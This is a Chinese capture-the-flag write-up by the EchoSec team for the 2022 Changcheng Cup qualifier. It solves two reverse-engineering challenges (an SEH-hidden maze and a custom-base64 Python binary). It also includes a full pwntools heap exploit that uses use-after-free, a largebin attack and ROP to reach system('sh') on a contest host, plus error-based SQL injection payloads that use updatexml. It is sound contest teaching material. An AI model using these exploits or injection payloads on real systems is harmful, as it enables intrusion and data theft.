EchoSec安全团队参加的首场比赛,在各位师傅们的输出下,也拿到第8名的成绩,虽然不算特别好,也是EchoSec安全团队迈出的第一步。同时欢迎各位有兴趣的师傅加入我们,一起学习进步。可+v:He1l_T4lk
打开之后很多花,我感觉没多少就直接手动patch,结果还真不少
patch完之后可以看到主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
30
[
0
]
=
v3;
v30[
1
]
=
retaddr;
v6
=
alloca(
4532
);
atexit(end);
cout(std::cout,
"Help Alice find a way out of the rabbit hole:"
);
gets_s(
input
,
0x100u
);
input_length
=
strlen(
input
);
/
/
input_length
16
,
134.
.
v8
=
BYTE2(input_length) ^ (
16777619
*
(BYTE1(input_length) ^ (
16777619
*
((unsigned __int8)input_length ^
0x50C5D1F
))));
v9
=
HIBYTE(input_length) ^ (
16777619
*
v8);
if
( v9
=
=
0x458766D3
)
/
/
input
length
=
134
{
strcpy(key,
"The quick brown fox jumps over the lazy dog."
);
blow_fish_init((
int
)this, v4, v5, (
int
)key, v8);
memset(key,
0
,
40
);
blow_fish_encrypt(this, (
int
)key, (
int
)
input
, v19);
v20
=
0
;
while
( key[v20]
=
=
not
[v20] )
{
if
(
+
+
v20 >
=
40
)
{
v21
=
cout(std::cout,
"Can you get h3re? :>"
);
std::ostream::operator<<(v21);
return
0
;
}
}
v17
=
(const char
*
)&unk_44C88;
/
/
:<
LABEL_16:
|
其实主函数没什么用,主函数可以看到blow_fish,aes等相关的东西,仔细分析发现是无关的
从主函数的逻辑,也就是最后的结果字符串看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
for
( k
=
0
;
(HIBYTE(k) ^ (
16777619
*
(BYTE2(k) ^ (
16777619
*
(BYTE1(k) ^ (
16777619
*
((unsigned __int8)k ^
0x50C5D1F
))))))) !
=
1563082853
;
+
+
k )
{
if
(
*
((_BYTE
*
)&v30[
-
1130
]
+
k) !
=
cipher[k] )
{
v15
=
cout(std::cout,
"That is toooooooo bad :("
);
/
/
to bad
std::ostream::operator<<(v15);
exit(
-
1
);
}
}
v16
=
cout(std::cout,
"Not a very good path dont you think? :)"
);
std::ostream::operator<<(v16);
return
0
;
}
|
哪怕通过了check也不是flag
仔细观察后发现在blow_fish_encrypt里面有seh,触发异常会调用,进入sub_411e0函数
1
2
3
4
5
6
|
.text:
00041595
loc_41595: ; DATA XREF: .rdata:stru_45340↓o
.text:
00041595
; __except(loc_41577)
/
/
owned by
41538
.text:
00041595
8B
65
E8 mov esp, [ebp
+
ms_exc.old_esp]
.text:
00041598
8B
4D
0C
mov ecx, [ebp
+
arg_4]
.text:
0004159B
E8
40
FC FF FF call sub_411E0
.text:
0004159B
; }
/
/
starts at
41538
|
这里面才是我们要的东西
分析seh中各个try/except
,会在0004136B
发现在这样一部分代码,4个输入hjkl
配上跳转,加上题目的提示
Alice saw a white rabbit talking to himself, and then out of curiosity, she followed him into a rabbit hole. Now, can you help her find the right way out of here?
猜测可能是迷宫题,迷宫题的话就需要找到迷宫的图,然后画出来就可以了,这个迷宫是两个数组组成,要相互异或,然后再异或行和列左移8位的值,具体xor在下图
1
2
3
4
5
6
7
8
9
|
.text:
000413BA
8D
04
11
lea eax, [ecx
+
edx] ; ecx是行数
*
0x15
,edx是列数,ecx
+
edx表示地图数组偏移
.text:
000413BD
0F
B6
88
08
42
04
00
movzx ecx, ds:byte_44208[eax] ; 取出byte_44208对应索引值
.text:
000413C4
33
0C
85
C8
43
04
00
xor ecx, ds:dword_443C8[eax
*
4
] ; 取出dword_443C8对应索引值与byte_44208对应值异或后存在ecx
.text:
000413CB
8B
C2 mov eax, edx
.text:
000413CD
C1 E0
08
shl eax,
8
; 列数左移
8
位后和ecx异或
.text:
000413D0
33
C8 xor ecx, eax
.text:
000413D2
33
CB xor ecx, ebx ; 行数异或ecx
.text:
000413D4
83
F9
01
cmp
ecx,
1
; 对比值是否为
1
,为
1
则继续检查下一个输入,错误则exit
.text:
000413D7
75
28
jnz short loc_41401
|
等效于
1
2
3
4
5
|
if
((byte)byte_44208[ecx
+
edx] ^ (dword)dword_443c8[ecx
+
edx] ^ (edx<<
8
) ^ ecx
=
=
1
){
...
}
else
{
exit(
0
)
}
|
分析4个字符对应操作可以知道
1
2
3
4
5
6
7
|
.text:
0004136B
3C
6A
cmp
al,
6Ah
;
'j'
.text:
0004136D
75
2A
jnz short loc_41399
.text:
0004136D
.text:
0004136F
43
inc ebx
.text:
00041370
89
5D
E0 mov [ebp
+
var_20], ebx ; 行
.text:
00041373
83
C1
15
add ecx,
15h
; 一行
21
个
.text:
00041376
89
4D
D8 mov [ebp
+
var_28], ecx ; 地图偏移
|
一行长度为0x15
,高长度也为0x15
,符合两个数组的大小0x15*0x15=441
提取两段数据,按规则每一位都算一下,最后结果只有0或1
1
2
3
4
5
6
7
8
9
|
x1
=
[...]
x2
=
[...]
x3
=
[]
for
i
in
range
(
21
):
for
j
in
range
(
21
):
x3.append(x1[i
*
0x15
+
j]^x2[i
*
0x15
+
j]^i^(j<<
8
))
print
(
hex
(x1[
21
]))
for
i
in
range
(
0
,
441
,
21
):
print
(x3[i:i
+
21
])
|
结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
[
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
]
[
1
,
0
,
0
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
0
]
[
1
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
]
[
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
0
,
0
,
0
,
0
]
[
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
1
,
1
,
1
,
0
]
[
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
]
[
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
1
,
1
,
1
,
1
,
0
,
1
,
0
,
1
,
0
]
[
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
]
[
1
,
0
,
1
,
1
,
1
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
1
,
1
,
1
,
1
,
0
,
1
,
0
,
1
,
0
]
[
1
,
0
,
1
,
0
,
0
,
0
,
1
,
1
,
1
,
0
,
1
,
0
,
0
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
]
[
1
,
1
,
1
,
1
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
]
[
0
,
0
,
0
,
1
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
1
,
0
,
1
,
0
,
1
,
0
]
[
0
,
1
,
1
,
1
,
0
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
0
,
1
,
1
,
0
,
1
,
0
]
[
0
,
0
,
0
,
1
,
1
,
1
,
1
,
0
,
1
,
0
,
1
,
1
,
1
,
1
,
1
,
0
,
1
,
0
,
0
,
1
,
0
]
[
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
,
1
,
0
]
[
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
0
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
0
,
1
,
0
]
[
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
]
[
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
1
,
1
,
1
,
1
,
0
,
0
,
1
,
0
]
[
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
0
,
0
,
1
,
0
,
0
,
1
,
0
]
[
0
,
0
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
1
,
0
,
0
,
1
,
0
,
0
,
1
,
0
]
[
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
1
,
1
]
|
按着1的方向走,得到最简结果
1
2
3
4
5
|
.\rabbit_hole_release.exe
Help
Alice find a way out of the rabbit hole:jjjllllllllllllllljjjjjjjjkjjkkkkhhhhhhhkkkkkkkkkkjjjjllljjjlllhhhhlljjjjjjkkkkkkkkjjlllllllllllhhlllllhhhlhhhhhhhhlljjjjjjjjjjjjjjjjl
You r3A1ly Have f0und the r1ght way!!! :)
The game has ended! Have you found a way out?
If you think you do, then your flag will be: flag{md5(
input
)}
|
exp:
1
2
3
|
flag
=
'jjj'
+
'l'
*
15
+
'j'
*
8
+
'kjjkkkk'
+
'h'
*
7
+
'k'
*
10
+
'jjjj'
+
'llljjjlllhhhhll'
+
'j'
*
6
+
'k'
*
8
+
'jj'
+
'l'
*
11
+
'hhlllllhhhl'
+
'h'
*
8
+
'll'
+
'j'
*
16
+
'l'
print
(flag)
print
(md5(flag.encode()).hexdigest())
|
python编写的exe先pyinstxtractor.py提取pyc
python3.7提取出run.pyc后,uncompyle6转成python脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from
new
import
*
print
(
'welcome!!!'
)
flag_input
=
input
(
'please input flag:'
)
if
set
(word) >
=
set
(flag_input):
pt
=
mmo(flag_input)
flag
=
pt()
if
flag
=
=
'5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh='
:
print
(
'right!!!'
)
print
(
'your flag: flag{'
+
flag_input
+
'}'
)
else
:
print
(
'Error'
)
else
:
print
(
'please input again!'
)
|
发现用到了new库,这不是现有的库,而是出题人自己写的,在提取出来的文件中可以找到new.cp37-win_amd64.pyd
文件,pyd文件很难看,查了一下大部分都是用测信道测试的方法来做,通俗的来说就是调用pyd中的函数来检测输入输出之间的差异,可能xor某些数值,幸运的是这题就是这样来做
只看密文知道至少有一个base64,ida 打开pyd查看一下字符串,发现pyd被upx加壳了,吾爱破解的脱壳软件脱壳失败,放到linux下的upx反而可以脱壳成功 upx -d new.cp37-win_amd64.pyd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
ata:
000000018000A710
aUkbnhwvcaest74 db
'uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm'
,
0
.rdata:
000000018000A710
; DATA XREF: .data:
000000018000E570
↓o
.rdata:
000000018000A751
align
8
.rdata:
000000018000A758
aO0oo00o000oo00 db
'O0OO00O000OO00000'
,
0
.rdata:
000000018000A758
; DATA XREF: .data:
000000018000DEB8
↓o
.rdata:
000000018000A76A
align
10h
.rdata:
000000018000A770
aO000ooo00oo0o0 db
'O000OOO00OO0O0OO0'
,
0
.rdata:
000000018000A770
; DATA XREF: .data:
000000018000DDF0
↓o
.rdata:
000000018000A782
align
8
.rdata:
000000018000A788
aO0000o000ooo0o db
'O0000O000OOO0OOOO'
,
0
.rdata:
000000018000A788
; DATA XREF: .data:
000000018000DDA0
↓o
.rdata:
000000018000A79A
align
20h
.rdata:
000000018000A7A0
aImport db
'__import__'
,
0
; DATA XREF: .data:
000000018000E160
↓o
.rdata:
000000018000A7AB
align
10h
.rdata:
000000018000A7B0
aMmoCall db
'mmo.__call__'
,
0
; DATA XREF: .data:
000000018000E278
↓o
.rdata:
000000018000A7BD
align
20h
.rdata:
000000018000A7C0
aDoc_0 db
'__doc__'
,
0
; DATA XREF: .data:
000000018000E0E8
↓o
.rdata:
000000018000A7C8
aMaketrans db
'maketrans'
,
0
; DATA XREF: .data:
000000018000E200
↓o
.rdata:
000000018000A7D2
align
8
.rdata:
000000018000A7D8
aName_1 db
'__name__'
,
0
; DATA XREF: .data:
000000018000E318
↓o
.rdata:
000000018000A7E1
align
8
.rdata:
000000018000A7E8
aOoooo0o000o00o db
'OOOOO0O000O00O0O0'
,
0
.rdata:
000000018000A7E8
; DATA XREF: .data:
000000018000DFA8
↓o
.rdata:
000000018000A7FA
align
20h
.rdata:
000000018000A800
aO0o0o00o0o0o00 db
'O0O0O00O0O0O00O00'
,
0
.rdata:
000000018000A800
; DATA XREF: .data:
000000018000DE90
↓o
.rdata:
000000018000A812
align
4
.rdata:
000000018000A814
aSend_0 db
'send'
,
0
; DATA XREF: .data:
000000018000E4D0
↓o
.rdata:
000000018000A819
align
20h
.rdata:
000000018000A820
aOo00o0oo00oo00 db
'OO00O0OO00OO0000O'
,
0
.rdata:
000000018000A820
; DATA XREF: .data:
000000018000DF30
↓o
.rdata:
000000018000A832
align
8
.rdata:
000000018000A838
aTest db
'__test__'
,
0
; DATA XREF: .data:
000000018000E4F8
↓o
.rdata:
000000018000A841
align
8
.rdata:
000000018000A848
aMmoInit db
'mmo.__init__'
,
0
; DATA XREF: .data:
000000018000E2A0
↓o
.rdata:
000000018000A855
align
8
.rdata:
000000018000A858
aOo000ooo0o0ooL db
'oo000ooo0o0oo.<locals>.genexpr'
,
0
.rdata:
000000018000A858
; DATA XREF: .data:
000000018000E408
↓o
.rdata:
000000018000A877
align
8
.rdata:
000000018000A878
aGenexpr_0 db
'genexpr'
,
0
; DATA XREF: .data:
000000018000E138
↓o
.rdata:
000000018000A880
aAbcdefghijklmn_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
+
/
|
可以看到正常的base64表和一个base64表等长的表 uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm
,直接base64解码什么都没有,考虑到可能base64换表了
尝试base64换表一下得到b"pUSs83T'D\x07\x02\x00^y\x12CG[]A<=kyYQ\x07lDR\x01\x01?"
这可能还用了其他函数加密,查阅了资料后发现可以本地python导入已有的pyd,使用help
命令可以查看一些信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
In [
2
]:
import
new
In [
3
]:
help
(new)
Help
on module new:
NAME
new
DESCRIPTION
Description:
Autor: Emtanling
Date:
2022
-
07
-
26
09
:
36
:
06
LastEditors: Emtanling
LastEditTime:
2022
-
07
-
26
09
:
49
:
34
CLASSES
builtins.
object
mmo
class
mmo(builtins.
object
)
| mmo(O0000000O0000O00O)
|
| Methods defined here:
|
| __call__(OO00O00O00O0OO0O0)
|
| __init__(OO0O0O000OO0OO0OO, O0000000O0000O00O)
|
| ooo00o0o0o0(O00O0O0O00OOOO000)
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
| Data descriptors defined here:
|
| __dict__
| dictionary
for
instance variables (
if
defined)
|
| __weakref__
|
list
of weak references to the
object
(
if
defined)
FUNCTIONS
oo000ooo0o0o0(OOOOO0O000O00O0O0)
oo000ooo0o0oo(OO0000OOOOO0OOOO0)
DATA
__test__
=
{}
word
=
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789...
FILE
c:\users\axe\desktop\baby_re_bc0325445163f53c8ae03535511cf06a\new.pyd
|
里面有一些奇怪的函数名,没有看到base64,怀疑base64的函数名被改了
尝试写脚本测试一下源代码中的,把结果base64换表之后解密,再和输入值异或得到一个异或值,多加密几次发现异或值一样就可以确定了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from
base64
import
*
import
new
string1
=
"uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def
crack_base(c:
str
):
string1
=
"uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
return
list
(b64decode(c.translate(
str
.maketrans(string1,string2))))
pt1
=
new.mmo(
'1'
*
32
)
c1
=
pt1()
# 这是模拟正常加密
print
(c1)
# GDLoG1tPEV4hKIeCjHqvDh0gjhKaYjqNbEXvYhhKED7=
# 尝试base64换表解密
print
(crack_base(c1))
# [121, 6, 91, 122, 104, 99, 87, 115, 68, 6, 82, 82, 90, 123, 70, 64, 71, 88, 88, 64, 104, 105, 107, 120, 9, 89, 6, 104, 65, 1, 85, 3]
# 测试第二组
pt2
=
new.mmo(
'2'
*
32
)
c2
=
pt2()
# 这是模拟正常加密
print
(c2)
# GOEgGjqOEcKcKEW2jrtWD82oj84yY1tfbIaWY8AbEOu=
# 尝试base64换表解密
print
(crack_base(c2))
# [122, 5, 88, 121, 107, 96, 84, 112, 71, 5, 81, 81, 89, 120, 69, 67, 68, 91, 91, 67, 107, 106, 104, 123, 10, 90, 5, 107, 66, 2, 86, 0]
|
发现两组输入值之间相异或值为1,输入相异或也为1,那说明每次输入都是异或相同的值,我们讲密文和输入值相异或可以得到中间的异或值。输入长度为32是因为测试后发现输入再多就会报错,还有就是题目密文base64解密后长度为32位
exp:
1
2
3
4
5
6
7
8
9
10
11
12
|
from
base64
import
*
str1
=
"5WEU5ROREb0hK+AurHXCD80or/h96jqpjEhcoh2CuDh="
string1
=
"uKbnhWvcAesT74M6D2CU/EjrgLYo50GiOtFPXI1HaB3yZqkd+JSR8lzVNpwf9xQm"
string2
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c
=
b64decode(str1.translate(
str
.maketrans(string1,string2)))
plain
=
b
'1'
*
32
cipher
=
[
121
,
6
,
91
,
122
,
104
,
99
,
87
,
115
,
68
,
6
,
82
,
82
,
90
,
123
,
70
,
64
,
71
,
88
,
88
,
64
,
104
,
105
,
107
,
120
,
9
,
89
,
6
,
104
,
65
,
1
,
85
,
3
]
key
=
[p^c
for
p,c
in
zip
(plain,cipher)]
flag
=
[key[i]^c[i]
for
i
in
range
(
32
)]
print
(bytes(flag))
|
Free 的时候没有清空存在 UAF ;输入的时候存在简单加密,IDA 反编译不出来函数,通过调试可以知道与固定字符进行异或操作;输出函数使用一定次数后会关闭 stdout ;后面还发现会禁用 free_hook 和 malloc_hook ;
利用 UAF 进行 largebin attack 攻击 mp_.tcache_bins ,将 tcache size 范围扩大;泄露出 environ 上面的栈地址;劫持返回地址运行 ROP getshell ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
from
pwn
import
*
context.log_level
=
"debug"
p
=
process(
"./glibc_master"
)
p
=
remote(
"123.57.245.65"
,
43526
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
def
dec(miw):
key
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
mingw
=
''
try
:
for
i
in
range
(
len
(miw)):
mingw
+
=
chr
(
ord
(miw[i])^
ord
(key[i
%
len
(key)]))
return
mingw
except
:
exit(
-
1
)
def
add0(i, s):
p.sendlineafter(
">>"
,
str
(
1
))
p.sendlineafter(
"\n"
,
str
(i))
p.sendlineafter(
"\n"
,
str
(s))
def
edit0(i, content):
p.sendlineafter(
">>"
,
str
(
2
))
p.sendlineafter(
"\n"
,
str
(i))
p.sendafter(
"\n"
, content)
def
show(i):
p.sendlineafter(
">>"
,
str
(
3
))
p.sendlineafter(
"\n"
,
str
(i))
def
delete0(i):
p.sendlineafter(
">>"
,
str
(
4
))
p.sendlineafter(
"\n"
,
str
(i))
def
add1(i, s):
p.sendline(
str
(
1
))
sleep(
0.5
)
p.sendline(
str
(i))
sleep(
0.5
)
p.sendline(
str
(s))
sleep(
0.5
)
def
delete1(i):
p.sendline(
str
(
4
))
sleep(
0.5
)
p.sendline(
str
(i))
sleep(
0.5
)
def
edit1(i, content):
p.sendline(
str
(
2
))
sleep(
0.5
)
p.sendline(
str
(i))
sleep(
0.5
)
p.send(content)
sleep(
0.5
)
add0(
0
,
0x448
)
add0(
1
,
0x508
)
add0(
2
,
0x438
)
add0(
3
,
0x508
)
add0(
4
,
0x508
)
add0(
6
,
0x508
)
add0(
7
,
0x508
)
delete0(
0
)
show(
0
)
leak_addr
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
print
(
hex
(leak_addr))
libc_base
=
leak_addr
-
2018272
environ
=
libc_base
+
libc.sym[
"environ"
]
print
(
hex
(libc_base))
add0(
8
,
0x458
)
delete0(
2
)
show(
2
)
ori_addr
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
mp_tcachebin
=
libc_base
+
2015952
payload
=
p64(ori_addr)
*
2
+
p64(
0
)
+
p64(mp_tcachebin
-
0x20
)
edit0(
0
, payload
+
"\n"
)
add0(
9
,
0x458
)
delete0(
7
)
delete0(
6
)
edit0(
6
, p64(environ)
+
"\n"
)
add0(
10
,
0x508
)
add0(
11
,
0x508
)
show(
11
)
stack
=
u64(p.recvuntil(
"\x7f"
)[
-
6
:].ljust(
8
,
"\x00"
))
ret_addr
=
stack
-
288
edit1(
7
, p64(
0
)
*
2
+
"\n"
)
delete1(
7
)
delete1(
6
)
edit1(
6
, dec(p64(ret_addr))
+
"\n"
)
add1(
12
,
0x508
)
add1(
13
,
0x508
)
p.sendline(
str
(
2
))
p.sendline(
str
(
13
))
pop_rdi
=
libc_base
+
0x23b72
ret
=
libc_base
+
0x22679
payload
=
p64(ret)
+
p64(pop_rdi)
+
p64(ret_addr
+
0x20
)
payload
+
=
p64(libc_base
+
libc.sym[
'system'
])
+
";;;;sh"
.ljust(
8
,
'\x00'
)
p.send(dec(payload)
+
'\n'
)
p.sendline(
"exec 1>&2"
)
p.interactive()
|
根据提示联想到最近的一个洞:
根据报错信息拼接出正常回显的payload
1
|
year
%
20FROM
%
20purchase_date
))
-
-
|
因为可以报错,直接报错注入,同时提示flag在flag表,直接查询
1
|
?name
=
YEAR FROM purchase_date))
and
updatexml(
'~'
,concat(
'~'
,(select flag
from
flag),
'~'
),
'~'
)
-
-
|
只得到flag的前31位,用SQL函数进行切割
1
|
?name
=
YEAR FROM purchase_date))
and
updatexml(
'~'
,concat(
'~'
,(substr((select flag
from
flag),
32
,
64
)),
'~'
),
'~'
)
-
-
|
团队起步阶段,如果错误还望师傅们指正,同时欢迎加入我们:He1l_T4lk
更多【2022-长城杯初赛Write up-by EchoSec安全团队】相关视频教程:www.yxfzedu.com